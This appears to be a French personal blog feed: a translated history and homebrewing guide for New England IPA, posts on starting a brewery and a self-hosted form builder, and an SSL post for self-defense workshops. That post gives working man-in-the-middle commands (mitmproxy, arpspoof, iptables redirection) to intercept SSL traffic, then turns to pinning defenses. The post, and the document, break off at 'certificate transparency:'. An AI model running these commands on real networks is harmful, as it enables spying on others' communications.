Pour commencer cette histoire, revenons un peu au début des années 1990. La scène brassicole artisanale était en train de vivre son premier boom et les nouvelles brasseries faisaient leur apparition dans tous les coins des États-Unis. Menée par Sierra Nevada Brewing Company, les American Pale Ale et les American IPA étaient en train d’émerger en tant que styles populaires parmi les amateurs de bière, pour leurs caractéristiques riches en houblon.

Le niveau d'amertume était un trait notoire, et avoir la bonne morsure d'amertume était essentiel pour une IPA. L'innovation a ensuite commencée à arriver sur la cote Ouest des États Unis à la fin des années 1990, et au début des années 2000, quand quelques doubles ou impériales IPA telles que Pliny the Elder de Russian River et Ruination IPA de Stone Brewing ont commencées à sortir des fermenteurs. Alors que celles ci contenaient énormement de « morsure du houblon», ce qui séparaient ces bières de beaucoup d'autres versions du style était le fait que le nez et la saveur du houblon semblaient éclater de la bière.

Du point de vue du brasseur, les huiles essentielles de ces houblons étaient bien plus présents que les acides alpha. En utilisant un profil de malt neutre et une souche de levure neutre, ces bières laissaient la part belle aux houblons. Ces brasseurs utilisaient aussi des houblons souvent critiqués, forts en acides alpha, tels que Columbus, Centennial, Simcoe et Chinook à la fin de l'ébullition ou en houblonnage à cru... et en grosses quantitées. Cela peut sembler comme une pratique courante pour une IPA actuellement, mais il y a à peine 15 ans, la plupart de la littérature évitaient d'utiliser ces variétés de houblon pour une utilisation autre que de l'amérisant. Lévolution d'une nouvelle American IPA était en train de prendre forme, sur la cote Ouest des étants unis, un style que les buveurs de bière ont nommé la « West Coast IPA».

La phase de démarrage

De retour sur la cote Est des États-Unis, dans un petit brewpub de Burlington à Vermont, deux brasseurs commencent innocemment à développer un type d'American IPA avec des objectifs similaires que les brasseurs de la côte Ouest, mais en utilisant une stratégie différente. Crée en 1988 par Greg Noonan et Steve Polewacyk, le « Vermont Pub & Brewery » deviendra le berceau d'une nouvelle révolution autour des IPA.

Souvent citée comme étant les premiers brasseurs des Black IPA modernes ainsi que des New England IPA, offrant une variété de bières qui était extrèmement rare à cette époque, le « Vermont Pub & Brewery » a des racines provenant de la connaissance du brassage et de la chimie de Greg Noonan, ainsi que son flair pour la créativité.

Se reposant sur la révolution de la bière mondiale (menée par Michael Jackson), Greg Noonan à exploré des styles de bières qui étaient en dehors des sentiers battus, même pour les brasseurs qui étaient déjà en avance sur leur temps.

Arrive John Kimmich, qui, en 1994 à déménagé dans le Vermont avec l'objectif de brasser sous la tutelle de Greg Noonan. John à travaillé un temps à Pittsburg (en Pennsylvanie) dans un home brewshop nommé Country Wines. Il a travaillé avec Alexis Hartung et sa grande bibliothèque sur le brassage maison et a eu son premier éclair de génie brassicole en lisant le livre de Greg Noonan « New Brewing Lager Beer ». Un an plus tard, il commence à travailler au « Vermont Pub & Brewery ». En quelques mois, Greg commence à avoir confiance dans les capacités de son nouveau protégé. Avec chaque bière que John travaillait, le mentor était impressionné. Après douze mois, Greg donne la liberté à John d’expérimenter seul sur les recettes.

En 1997, John part du « Vermont Pub & Brewery » et cofonde avec sa femme Jen un brewpub en 2003, le « Alchemist Pub & Brewery », situé 30mn à l'est de Burlington à Waterbury dans le Vermont. A cette époque, Waterbury était un petit village dormant du New England, n'attirant pas grand monde autre que quelques touristes. Il était par contre assez bien situé, à un croisement des chemins, juste à la sortie d'une autoroute majeure, Waterbury est facilement accessible par à la fois les voyageurs en route pour les endroits touristiques et pour les locaux en allant / revenant du travail ou pour leurs excursions shopping. Grâce à ces quelques éléments, Waterbury s'est donc révélé êre un excellent spot pour Jen et John.

Une caractéristique unique des bières houblonnées de Kimmich était que lorsque servies fraîches et non filtrées, elles étaient souvent assez troubles. Il trouvait que filtrer ses bières pouvait introduire de l'oxygène non souhaité, enlevant de la bière beaucoup d'aspects intéressants. Il utilisait une souche nommée Conan (VPB1188), une levure que son mentor a développé et que maintenant beaucoup connaissent. Avec les dérivés Anglais, la souche de levure Conan, les bonnes connaissances en brassage de John, ainsi que son habitude à expérimenter avec les houblons, on se retrouve avec une combinaison gagnante pour une révolution du brassage sur la côte est.

La phase de croissance

En 2007, alors que j'allais au festival des brasseurs du Vermont, la queue pour accéder au stand de The Alchemist était d'au moins 20 minutes pour un verre. Certaines personnes remplissaient leurs verres et retournaient faire la queue pour avoir la chance de goûter une autre de ces bières tant acclamées, en particulier pour Heady Topper. Pour la première fois brassée en 2003, Heady Toper retenait alors l'attention, alors qu'elle n'était réellement qu'une parmi les nombreuses IPA acclamées de chez The Alchemist. Des histoires circulaient comme quoi certaines personnes amenaient leurs pintes aux toilettes pour remplir des bouteilles, les capsuler et les ramener chez eux, puisque le bar ne proposait pas de remplir de Growlers à l'époque, ni ne vendait de bouteilles. Je pensais alors que l'engouement pour ces IPAs avait atteint une sorte de paroxysme. Je n'avais pas encore compris que le feu était seulement en train de se construire.

J'ai récemment demandé à Shaun Hill, de la brasserie « Hill Farmsted » à Greensborrow Bend dans le Vermont, classée « meilleure brasserie du monde » 3 des 4 dernières années sur RateBeer.com, quel était sa relation avec John Kimmich à l'époque. Shaun brassait à l'époque 30mn plus loin, à Stowe, dans un brewpub appelé « The Shed».

« En 2005, je ne tarissais pas d'éolges pour les bières de John me faisait le plaisir de critiquer mes bières » me dit Hill, « Cette relation à évoluée avec le temps, plus specialement lorsque j'ai déménagé au Danemark et que cette conversation est devenue une conversation entre pairs, poussant l'autre dans de nouvelles directions.». Avec le decès de Greg Noonan en 2009, l'ancien protégé est devenu le nouveau mentor. Lors d'un échange avec Joel Mahaffey de Foundation brewing Co, à Portland à propos des IPAs influentes pour cette nouvelle révolution, il dit de The Alchemist « Quiconque réponds à cette question et oublie Heady Topper, ils sont à coté de la plaque. Il s'agit de la première IPA trouble, et à laissée une marque sur la communauté brassicole.»

Ce qui à emergé dans le coin nord-est des états unis est une explosion de nouvelles brasseries produisant des Pale Ale, des IPA et des double IPA basées sur la non filtration, l'explosion de saveurs, et un corps doux, un style que Greg Noonan et John Kimmich ont découvert, et qu'ensuite Shaun Hill à continué à affiner. John et Shaun ont séparemment pointé du doigt le fait qu'ils brassaient juste des bières à leur convenance, et qu'ils appréciaient le produit fini. Le terme « Juicy IPA » s'est retrouvé être un nom pour ces bières, et la texture est souvent aussi importante que le nez et le gout de houblons. Et comme les IPA de la côte Ouest se sont répendues en 2008, les bières troubles, non filtrées, les New England IPA se répendent en 2016.

C'est parti !

Il est maintenant temps de passer à la brasserie et de regarder comment faire pour brasser une IPA, New England style. Shaun Hill dit « soyez vous mêmeet faites une bière qui goute, sent et ressemble à ce que vous voulez qu'elle soit », JC Tetreault de Trillum à Boston dans le Massachussetts ajoute « la réponse courte… tout est important ! Vous devez vous concentrer sur chaque aspect pour arriver à la bière que vous souhaitez. » L'objectif est d'arriver à une bière douce, un peu ronde, presque tropicale, à la texture ressemblant presque à un jus de fruit, laissant une morsure subtile sur la langue en fin de bouche graçe au houblon.

Les malts

Tout comme les IPAs de la cote Ouest, les NEIPA sont relativement simples en malts. Le style évite les malts qui ajoutent des saveurs de pain et de crackers. Les malts cristals et autres malts au dessus de 20°L (ndt: 52 EBC) sont d'une manière générale évités. Ces bières peuvent bénéficier de certains ajouts de malts cristal clairs, mais gardez les à l’œil. Des flocons d'avoine, d'orge, de blé et autres peuvent être ajoutés pour contribuer au corps, mais ne pensez pas qu'ils soient une necessité. J'ai pu jouer avec des pourcentages de 15% de flocons dans mes recettes, et les résultats étaient presque excessifs. JC Tetreault dit que « à propos des ajouts de céréales non maltés et de flocons… nous ne les utilisons pas dans toutes nos bières basées sur le houblon. En fait, une proportion plutôt petite de nos bières basées sur le houblon en font usage». Les ajouts de sucre tels que les dextrose, saccharose et sucres crus augmentent la densité du moût pour s'assurer de la sécheresse dans les versions plus alcoolisées. Si vous choisissez d'ajouter du sucre cru, encore une fois, faites en sorte que l'ajout soit modeste; j'ai trouvé que certaines saveurs de mélasses avaient tendance à arriver à partir de 10% du total du grain. L'objectif est de garder les houblons comme caractéristique principale de la bière, tout en ayant une base de malt douce mais présente.

Les levures

Et c'est ici que les NEIPA dérivent des IPA de la cote Ouest. L'ajout des levures ainsi que le traitement à partir de la fermentation semble être la plus grosse différence entre les deux styles. D'abord, regardons comment ces bières sont fermentées. La plupart des NEIPA ne sont pas clarifiées dans le fermenteur avec des agents clarifiant tels que de la gélatine, du Biofine® ou du Polyclar™, et elles ne sont pas filtrées ou centrifugées plus tard pour clarifier la bière. La pensée derrière ce process est qu'enlever les levures de la bière à également pour effet d'enlever les huiles essentielles ainsi que d'autres nuances subtiles qui permettent à la bière d'avoir son caractère propre. Cela permet de garder un niveau d'huiles assez elevé dans le produit fini. Deuxièmement, les brasseurs de New England fermentent en utilisant une souche de levure d'origine anglaise. Ashton Lewis, l'éditeur technique de Brew Your Own précise « D'après des études ADN, la levure California Ale (White Labs WLP001, Wyeast 1056 et les autres souches de Chico) viendraient plutôt de Cologne, en Allemagne ». Ces souches américaines ont été choisies pour leur capacité à produire des bières claires, transparentes et amères sans ajouter de caractère. Les souches de levure utilisées par les brasseurs de New England IPA sont utilisées pour ajouter des esters, qui aident à produire le profil juteux de ces bières. Les IPAs brassées avec ces souches ne semblent pas être aussi transparentes que les souches Americaines lorsqu'elles sont exposées à des niveaux d'huiles elevés. Ceci vient en désaccord avec la plupart de la littérature sur les souches Anglaises. Si vous lisez la description de la plupart des souches de levures utilisées pour produire ces IPA troubles, la plupart sont considéeées « hautement floculantes », alors que la souche Chico, souvent utilisée pour les IPA de la cote Ouest annonce plutôt une floculation moyenne à faible. Pourquoi alors ces bières ne se clarifient pas lorsqu'elles sont sujettes à des hautes doses de houblon en fin d'ébullition ou en houblonnage à cru ? Cela reste encore une zone floue, j'ai donc demandé à quelques personnes dans l'industrie à propos de ce flou. Certains brasseurs pointent du doigt le fait que ces souches de levures floculent trop rapidement. Cela ne laisse pas le temps aux polyphénols de s'attacher aux levures, laissant ces composés ainsi que d'autres composés dérivés du houblon dans la solution plutôt que des les en enlever. Ashton Lewis nous rappelle aussi que le trouble trouvé dans les hefeweizen est principalement causé par les interactions entre les protéines et les polyphénols, et non pas par les levures.

Donc, quelles sont les souches de levure que vous devriez utiliser ? Le choix est en fait assez large, pour ceux qui souhaitent brasser ces types de American IPA, referez vous donc aux suggestions données dans les recettes jointes pour quelques idées.

L'eau

L'eau joue un rôle prépondérant dans le développement des New England IPA. Concentrez vous sur les niveaux de dureté de votre eau. Si vous avez une eau assez douce, alors vous avez un bon point de départ. Si vous avez une eau plutôt dure, obtenez un relevé d'eau (ndt: allez faire un tour sur le site « Eau du bassin Rennais » !). Si vous n'avez pas ces relevés d'eau, vous pouvez aussi faire analyser votre eau par des laboratoires, ou vous pouvez le faire vous même grâce à des kits de test de l'eau. Peu importe ce que vous choisissez, utiliser de l'eau distillée ou osmosée peut vous fournir une bonne base pour construire le profil d'eau que vous souhaitez obtenir. Essayez de garder votre niveau de bicarbonate en dessous de 50 PPM pour votre eau d’empâtage et votre eau de rinçage.

La prochaine chose sur laquelle se concentrer est vos sulfates et vos chlorures. Ceci est parfois controversé, mais encore une fois peut potentiellement être un facteur différenciant entre les IPA de la côte Est et les IPA de la côte Ouest. Quand j'ai commencé à jouer avec la composition de mon eau, j'ai traité l'eau de mes IPA pour atteindre un rapport 2:1 de sulfates / chlorures, ce qui s'est traduit par 100:50 PPM. J'ai produit plusieurs bières qui pouvaient rivaliser (selon moi) avec certaines que mes idoles produisaient. Mais, dans l'esprit du brassage amateur, j'ai continué à expérimenter. J'ai changé l'équilibre de sulfate / chlorures à 200:50PPM sans que je perçoive un changement. J'ai ensuite essayé 100:100 et trouvé que ça me plaisait un peu plus. Mes trouvailles ne sont pas la seule preuve anecdotique que booster le niveau de chlorures peut bénéficier à ce style de bières. Si vous cherchez à ajuster vos sulfates et for chlorures pour votre eau d'empâtage et de rincage, je vous encourage à jeter un oeil à l'article de Scott Janish du 7 Mars 2016 intitulé « Mouthfeel softness ». Scott y parle des effets négatifs d'un taux de sulfates elevé et des aspects positifs d'un niveau de chlorures elevé.

Les houblons

Généralement, l'amertume des houblons dans ce type d'IPA joue un rôle support, qui vient équilibrer le corps et la douceur des malts. Premièrement, gardez l'ajout de houblons amérisants modéré à faible. Vous pouvez expérimenter avec l'ajout de houblons amérisants mais je n'ai jamais eu l'occasion de trouver qu'une utilisation importante de houblons amérisants menait à une meilleure New-England IPA. Utilisez des houblons hauts en alpha tels que Magnum, Warrior™ ou Bravo si vous choisissez d'utiliser des houblons en cône ou en pellets, et je recommande de garder les ajouts d'amérisants assez faibles. D'habitude, j'essaye houblonner pour un rapport de 1:3 BU:GU (amertume sur densité). Cela signifie que quand je vise une densité cible de 1.066, l'ajout de houblons à 60mn est de 22 IBUs. Cela est fait pour éviter d'ajouter une dureté qui peut provenir d'une ébullition d'une quantité plus elevée de houblons. L'autre option est d'utiliser des extraits de houblon, qui peuvent contribuer les acides alpha nécessaires pour obtenir la bonne amertume, sans ajouter de polyphénols, que certains brasseurs pensent être à l'origine d'une certaine dureté.

Les ajouts de houblons en fin d'ébullition jouent un rôle beaucoup plus important pour la production de New-England IPA. Des apports copieux à la fin de l'ébullition ou au flame-out sont utiles pour tout type d'IPA hautement aromatique. Cela ajoutera des IBUs pour compléter votre apport en houblons amérisants et commencera à créer votre profil d'huiles. Je trouve que des variétés plus mordantes / piquantes comme le Simcoe®, Columbus, Chinook et Apollo fonctionnent bien à cette étape. Chaque brasseur semble trouver sa technique ici, qu'il s'agisse de faire plusieurs ajouts à 20mn ou moins puis de baisser à une température précise pour faire un hop stand, ou bien de simplement ajouter tous les houblons au flame-out et de les laisser durant 20 minutes ou plus. Il ne semble pas qu'il y ait de mauvaise manière de faire, juste plusieurs manières d'extraire les huiles essentielles des houblons à une température pas trop haute.

Le houblonnage à cru est votre prochain objectif. J'aimerais me concentrer sur les techniques plutôt que sur les quantités ou variétés puisque la technique semble être le plus important ici. Ceci dit, une chose est sure, ne soyez pas trop timide avec les ajouts durant le houblonnage à cru. 7.5g/L est certainement un bon point de départ. Vous pouvez ajuster en fonction de vos résultats. Les brasseurs Scott Janish et Michael Tonsmeir ajoutent que mettre ces bières en fûts à quelques avantages. Houblonner dans le fût, purger au CO2 et le fait de ne pas avoir de période prolongée de carbonatation sont déjà deux des avantages des fûts sur les bouteilles.

Alors, quand est le meilleur moment pour faire son houblonnage à cru ? Biern que ce ne soit pas une necessité, le fait de faire son houblonnage à cru en deux fois semble être un bon choix pour ce genre d'IPA. Prenez ce que vous pensiez ajouter lors du houblonnage à cru et séparez le en deux. Le premier ajout se fera durant la phase active de fermentation alors que le second se fera quand la fermentation se sera calmée et que les levures auront flocculées. Le premier ajout peut se faire à différents stades de la fermentation primaire; certains brasseurs les ajoutent au même moment qu'ils ensemencent, certains autres lorsque le krausen est haut, alors que la plupart l'ajoutent vers la fin de la fermentation. Je préfère faire le premier ajout une fois que le krausen est redescendu. Les hétérosides et les bio-transformations sont des éléments importants dans cette discussion à propos de comment la levure intéragit avec les huiles des houblons et les autres dérivés du houblon. Je trouve que les houblons ajoutés à la fin de l'ébullition vont apporter des caractéristiques similaires que les huiles de houblons ajoutés durant le ébut de la fermentation. Pour ce qui est du second ajout, l'objectif est d'attendre que la fermentation se soit calmée. Le timing n'est pas vraiment un facteur important ici, mais l'introduction d'oxygène est un point crutial. Prenez bien soin d'introduire le moins possible d'oxygène dans la bière à ce moment çi.

Dernièrement, quelque chose qui est nouveau pour moi: le houblonnage à cru sous pression. Cela vous demandera de l'équipement supplémentaire, principalement quelque chose apellée une « Spunding Valve». Il s'agit d'une valve qui permet de garder une certaine pression dans le fermenteur. Si la pression dépasse la valeur cible, alors la valve s'ouvre pour faire redescendre le fermenteur à la valeur souhaité. Mais, en quoi cela pourrait-être interéssant pour nous ? Parce que nous cherchons à garder un maximum de houblons aromatiques, en évitant d'en perdre. Les brasseurs amateurs ainsi que les brasseurs pros se sont penchés sur la question des spuinding valve de plus en plus dernièrement pour la fermentation primaire et pour le houblonnage à cru.

La révolution de la côte Est bat son plein et si vous ne pouvez pas venir sur place pour goûter un extrait, vous pouvez maintenant au moins commencer à brasser des bières avec un caractère similaire. Et si vous n'êtes pas un fan de ce type de bière, faites bien attention à laisser ceux qui apprécient déguster en paix.

Remerciements spéciaux à tous les brasseurs qui ont contribué à la production de cet article: John Kimmich de The Alchemist, Shaun Hill de Hill Farmstead, Joel Mahaffrey de Foundation Brewing, Matt Nadeau de Rock Art Brewery et JC Tetrealt de Trillium. Allez leur rendre visite !

Brasserie du Vieux Singe — Installation en cours.

2017-06-26T00:00:00+02:00

Ça fait maintenant quelques mois que j'ai décidé de changer de métier. Choix à la fois difficile et excitant. Une rupture qui laisse place à quelques étoiles dans les yeux. Enfin, je retrouve l'envie de créer, et je renoue avec mes rêves, ceux-la mêmes que je croyaient trop fous pour être à portée de main.

La chose la plus frappante, c'est la vitesse à laquelle passent les journées: j'ai vraiment l'impression d'avoir quitté Mozilla hier. Si les collègues me manquent, je ne ferais machine arrière pour rien au monde: je trouve finalement ce sens qui me manquait cruellement.

Après quelques hésitations au départ, j'ai décidé de mettre de côté mes activités liées à l'informatique: difficile à assumer quand on croise les copin.e.s avec qui on avait l'habitude de discuter énormement de ces sujets, mais ça permet de laisser plus de place pour l'humain. Plus de place pour les «Au fait, comment ça va toi ?» quand j'ai l'occasion de les recroiser, ce qui n'est pas plus désagréable :)

Les journées sont donc organisées autour de la brasserie: beaucoup plus de planification que ce que j'imaginais au départ. Peut-être que c'est aussi du au fait que nous soyons tous les deux des ex-informaticiens un peu perfectionnistes sur les bords. On se voit très souvent pour avancer sur des sujets de fond tout comme sur du pratico-pratique. Pour vous donner un ordre d'idée des questionnements: Quelle taille d'entreprise ? Quelles valeurs communes ? Quelles bières ? Quelle image donner ? Quelle place donner au confort ? Comment éviter la compétitivité ? Comment réussir à impacter les producteurs (houblon / malt) de manière positive ? Quels salaires se donner ?

Un peu de production quand même (pour les amis) mais on se garde la grosse partie pour le lancement.

Apprentissage

Je profite de ces quelques mois pour apprendre: autour de la fabrication et de la dégustation de bière bien sûr (encore un milieu en constante évolution !), mais pas que. J'ai maintenant quelques bases de gestion d'entreprise, en comptabilité, en biologie et en chimie. J'ai bien dit quelques bases, mais qu'est-ce que c'est agréable !

C'est assez agréable de se remettre dans une posture d'apprenant, et d'avoir le temps pour cet apprentissage.

Questionner la posture de «Chef d'entreprise» et son rapport au temps

Décider de créer sa boîte, c'est aussi se poser la question de comment organiser son temps: combien de temps travailler ? Quel temps donner aux loisirs ?

Je trouve rassurant de voir ces interrogations abordées avant-même le démarrage de l'entreprise. La plupart des personnes qui nous suivent et nous guident partent du postulat qu'il faudra bosser énormement, là ou nous essayons de trouver un modèle qui soit viable dans le temps, notre souhait est de bosser à 80% (4 jours par semaine).

Certes, il faut travailler pour que ça tourne, mais il faut aussi s'accorder des temps de respiration pour être d'autant plus efficace quand on bosse. C'est d'autant plus intéressant de prévoir ces aspects lors de la phase de design de l'activité: on organise le temps autrement ! Ceux qui me lisent de temps à autre savent que c'est une constante de mes réflexions, on verra si ça fonctionne dans les faits.

Les projets collectifs

Un autre point important est la place que le collectif prends dans cette nouvelle expérience. Au départ, quand j'imaginais le projet sur le court-terme, je mettais la composante collective au second plan dans l'immédiat (au delà des intéractions avec Fred, mon associé). L'occasion de travailler à la construction d'un espace collectif s'est présentée, et on y travaille actuellement.

C'est à la fois riche (en partage de points de vue, en entre-aide) et à la fois difficile (beaucoup d'heures de réunions, il faut apprendre à communiquer de manière efficace, il faut parfois faire face à des conflits). Dans l'ensemble, je ne regrette pas ce choix même si il est important de ne pas perdre de vue les objectifs de la brasserie dans l'histoire.

Et puis la collaboration ne s'arrête pas qu'au collectif d'activité: le milieu brassicole est en mutation, et les valeurs de partage font bel et bien partie du lot de changements. Les rencontre avec les brasseurs du coin de Rennes le montrent bien: l'esprit est plus à l'entraide qu'à la concurrence, au vu de la demande qui est toujours croissante. Tant mieux, on a autre chose à faire qu'à se tirer dans les pâtes ;)

Besoin de concret

Après cette phase assez énorme de réfléxion, de questionnement, de tricotage, de détricotage, de retricotage, j'ai bien envie de passer à l'action; et ça tombe bien, c'est ce qui est à l'horizon. L'idée est d'ouvrir la brasserie à la fin de cette année pour commencer la commercialisation en Janvier 2018. Ça fait un peu peur de voir l'échéance arriver, mais c'est aussi excitant que vertigineux…

Faire ensemble. Imaginer les choses en petit un peu partout. Collaborer plutôt que se tirer dans les pattes. Renverser la vapeur. Trouver des alliés. Faire levier. Inscrire ses projets dans le temps. C'est peut-être un peu ça, grandir ?

Comment est-ce que vous générez vos formulaires ?

2016-05-31T00:00:00+02:00

TL; DR: Je viens à peine de releaser la première version d'un service de génération de formulaires. Allez jeter un coup d'œil sur https://www.fourmilieres.net

En février 2012, je parlais ici d'un service de génération de formulaires. Depuis, pas mal d'eau à coulé sous les ponts, on est passé par pas mal d'étapes pour finalement arriver à une première version de ce service de génération de formulaires (à la google forms).

En tant qu'organisateurs d'évènements (petits et gros), je me retrouve souvent dans une situation ou je dois créer des formulaires pour recueillir des informations. Actuellement, la meilleure solution disponible est Google Forms, mais celle ci à plusieurs problèmes, à commencer par le fait que le code n'est pas libre et que les données sont stockées chez Google.

La plupart du temps, le besoin est assez simple: je veux spécifier quelques questions, et donner un lien à mes amis pour qu'ils puissent y répondre. Je reviens ensuite plus tard pour voir la liste des réponses apportées.

Fonctionnalités

Il existe pas mal de solutions techniques qui essayent de répondre à la même problématique, mais la plupart d'entre elles sont assez souvent compliquées, nécessitent de se créer un compte, et/ou ne vous laisse pas la main libre sur les données générées, voire le code est assez difficile à faire évoluer ou à déployer.

Je voulais donc quelque chose de simple à utiliser et pour les créateurs de formulaires et pour les utilisateurs finaux. Pas de chichis, juste quelques vues, et des URLs à sauvegarder une fois l'opération terminée.

Pas de compte

Vous n'avez pas besoin d'avoir un compte sur le site pour commencer à l'utiliser. Vous créez simplement un nouveau formulaire puis envoyez le lien à vos amis pour qu'eux puissent à leur tour le remplir.

Gardez la main sur vos données

Une fois que vous avez récupéré les réponses à vos questions, vous pouvez récupérer les données sur votre machines dans un fichier .csv.

API

L'ensemble des données sont en fait stockées dans Kinto qui est interrogeable très facilement en HTTP. Ce qui fait qu'il est très facile de réutiliser les formulaires que vous avez construits (ou leurs réponses) depuis d'autres outils.

Auto-hébergeable

Un des objectifs de ce projet est de vous redonner la main sur vos données. Bien sur, vous pouvez utiliser l'instance qui est mise à votre disposition sur wwww.fourmilieres.net, mais vous pouvez également l'héberger vous même très simplement, et vous êtes d'ailleurs fortement encouragés à le faire ! Notre objectif n'est pas de stocker l'ensemble des formulaires du monde, mais de (re)donner le contrôle aux utilisateurs !

On commence petit…

Cette release n'est (bien sur) pas parfaite, et il reste encore pas mal de travail sur cet outil, mais je pense qu'il s'agit d'une base de travail intéressante pour un futur où Google n'a pas la main sur toutes nos données.

La liste des champs supportés est pour l'instant assez faible (Texte court, Texte long, Oui/Non, choix dans une liste) mais elle à vocation à s'étendre, en fonction des besoins de chacun.

J'ai d'ailleurs créé un formulaire pour que vous puissiez me faire part de vos retours, n'hésitez pas !

Et, euh, comment ça marche ?

Le formbuilder, comme j'aime l'appeler se compose en fin de compte de deux parties distinctes:

Kinto, un service qui stocke des données coté serveur et qui les expose via des APIs HTTP
Le formbuilder, une application JavaScript qui ne tourne que coté client (dans votre navigateur) qui permet de construire les formulaires et d'envoyer les données sur les APIs coté serveur.

Au niveau de la stack technique, le formbuilder est codé en ReactJS. Un des points techniques intéressants du projet est qu'il génère en fin de compte du JSON Schema, un format de validation de données JSON.

Donc, reprenons! Vous arrivez sur la page d'accueil puis cliquez sur "Create a new form", puis vous vous retrouvez face à une interface ou vous pouvez ajouter des champs de formulaire. Une fois ce travail effectué, vous appuyez sur "Create the form".

Le JSON Schema est alors envoyé au serveur Kinto, qui l'utilisera pour valider les données qu'il recevra par la suite.
Ce JSON Schema sera aussi utilisé lors de l'affichage du formulaire aux personnes qui le remplissent.
Un jeton d'accès est généré et ajouté à l'URL, il s'agit de l'identifiant du formulaire.
Un second jeton d'accès administrateur et généré, il vous faut le garder de coté pour avoir accès aux réponses.

Bref, en espérant que ça vous serve ! Un petit pas dans la direction des données rendues à leurs utilisateurs !

Cloisonnement des activités ?

2016-05-25T00:00:00+02:00

Je vous écris depuis un train, en rentrant de Bordeaux où j'ai passé quelques jours à l'occasion de SudWeb. Si vous ne connaissez pas cette conférence, il s'agit d'un moment avec des gens chouettes qui se posent des questions sur leur metier, comment le vivre et comment continuer à en faire un plaisir. Oh, et des fois on parle un peu de technique aussi.

Alors, brasserie ou code ?

Ces quelques jours ont été fort inspirants. Alors que je suis en train de changer de métier (vers celui de brasseur) c'était un moyen de me rendre compte que bien que je ne souhaite plus faire du Web mon métier la, tout de suite, maintenant, je reste un passionné par la chose.

En partant de Rennes, je ne savais pas trop quoi penser de cette situation. Prendre un week-end pour échanger avec les gens sur quelque chose dont je m'éloigne ? C'est pas une perte de temps ?

Si je passe du temps à écrire des bouts de code, des logiciels, à reflechir à comment solutionner certains problemes, ce n'est pas parce que je suis payé pour le faire, mais bel et bien parce que je me sens bien lorsque je le fais, parce que j'y trouve un équilibre et une utilité.

Alors que je ne trouvais plus cet équilibre dans mon travail, j'ai choisi d'en changer, mais il n'empèche que je continue à avoir des rèves d'un monde meilleur, dans lequel l'informatique a sa place. Juste à voir les discussions (ux, sécurité informatique, décentralisation, architecture logicielle) que j'ai pu avoir ce weekend, il n'y a pas l'ombre d'un doute !

Jusqu'ici je me suis dit que je devais choisir. J'ai pensé naivement que je ne pouvais pas être et un brasseur et un developpeur, mais la réalité c'est que c'est exactement ce que je suis: les deux.

Je ne suis pas pour autant dupe sur le temps necessaire à lancer une activité brassicole, il va falloir fournir de l'énergie et avancer sur le projet, mais il n'empèche que même si je décide de faire de la bière mon metier, mes passions pour le reste sont bien vivantes.

Bref, merci sudweb pour m'avoir accompagné dans ces reflexions, à l'année prochaine, je ramène des futs ?

Avez vous confiance en SSL?

2016-03-25T00:00:00+01:00

Dans le cadre des ateliers d'autodéfense numérique, j'ai passé un peu de temps à creuser sur l'utilisation de SSL puisque contrairement à ce que la plupart des personnes ont encore tendance à croire, le petit cadenas (qui prouve qu'une connexion SSL est en cours) n'est absolument pas suffisant.

Allez hop, c'est parti pour:

un tour d'horizon du fonctionnement de SSl
quelques moyens contourner cette "protection" en faisant une attaque en pratique
un tour des solutions existantes actuellement et de pourquoi je ne les trouve pas vraiment satisfaisantes.

Comment fonctionne SSL?

Pour expliquer les problèmes de SSL, j'ai d'abord besoin d'expliquer comment tout ça fonctionne.

SSL repose sur l'utilisation de certificats, qui sont générés par des autorités de certification (Certificate Authority que je nomme CA dans la suite de l'article).

Les certificats SSL permettent deux choses:

De garantir que les communications entre les navigateurs (vous) et les sites Web ne sont connues que du détenteur du certificat du site et de vous même.
De garantir que le site sur lequel vous vous connectez est bien celui que vous imaginez.

Le navigateur, lors d'une visite d'un site, va télécharger le certificat associé puis vérifier que le certificat en question a bien été généré par un des CA en qui il a confiance.

Imaginons maintenant qu'une des CA essaye de savoir ce qui s'échange entre mon navigateur et le site de ma banque (protégé par SSL). Comment cela se passerait il ?

N'importe quel CA peut donc générer des certificats pour n'importe quel site, et le navigateur vérifierait, lui, que le certificat a bien été généré par une CA.

Tout cela ne poserait pas de soucis si les CA étaient gérés de manière fiable, mais il s'agit d'un travail compliqué, et certains CA ont par le passé montré des faiblesses.

Par exemple, DigiNotar (un CA des Pays-Bas) a été compromise et les attaquant.e.s ont pu générer des certificats SSL frauduleux, ce qui leur a permis d'attaquer des sites tels que Facebook ou GMail.

Vous pouvez retrouver une liste des risques et menaces autour des CA sur le wiki de CACert.

Attaque de l'homme du milieu avec SSL

A force de dire que c'était très facile à faire, j'ai eu envie d'essayer d'espionner des connections protégées par SSL, et effectivement c'est carrément flippant tellement c'est simple.

En l'espace de quelques minutes, il est possible de faire une attaque de l'homme du milieu en utilisant par exemple un outil nommé mitm-proxy.

Pour déchiffrer l'ensemble du trafic SSL, j'ai simplement eu à lancer quelques commandes et avoir un CA dans lequel le navigateur de la victime a confiance. Je l'ai ajouté dans le navigateur cible pour simuler que je l'avais déjà (c'est le cas si un des 1200 CA se fait pirater, ce qui me semble une surface d'attaque assez large).

Je les colle ici si ça vous intéresse:

$ sudo aptitude install mitmproxy
$ mitm-proxy -T --host

Il faut faire croire à votre victime que vous êtes la passerelle vers l'extérieur et à la passerelle que vous êtes la victime:

arpspoof -i wlan0 -t victime gateway
arpspoof -i wlan0 -t gateway victime

Puis dire à notre fausse passerelle de rediriger le trafic des ports 80 et 443 vers notre proxy:

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 4443
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 4443

Et paf, on voit tout ce qui passe entre la machine et le serveur SSL. On peut d'ailleurs même imaginer faire tourner ces quelques commandes sur un raspberry pi, pour aller encore plus vite…

Key-pinning dans les navigateurs

Actuellement, n'importe quel CA peut générer des certificats pour n'importe quel site, et c'est en grande partie ce qui pose souci. Une des manières de faire évoluer la situation est d'épingler les certificats de certains sites directement dans les navigateurs.

Cette approche a le mérite de fonctionner très bien pour un petit nombre de sites critiques (Google, Facebook, etc).

HTTP Public Key Pinning (HPKP)

HTTP Public Key Pinning est également une solution de pinning qui permet d'établir une confiance lors de la première connexion avec le site. C'est ce qu'on appelle du Trust on First Use ou TOFU.

Le navigateur va alors mettre ces informations dans un cache et vérifiera que les certificats correspondent bien lors des prochaines visites.

HPKP est disponible dans Firefox depuis Janvier 2015 et dans Chrome depuis Octobre 2015.

Certificate transparency: des journaux auditables

Une autre approche est celle proposée par certificate transparency:

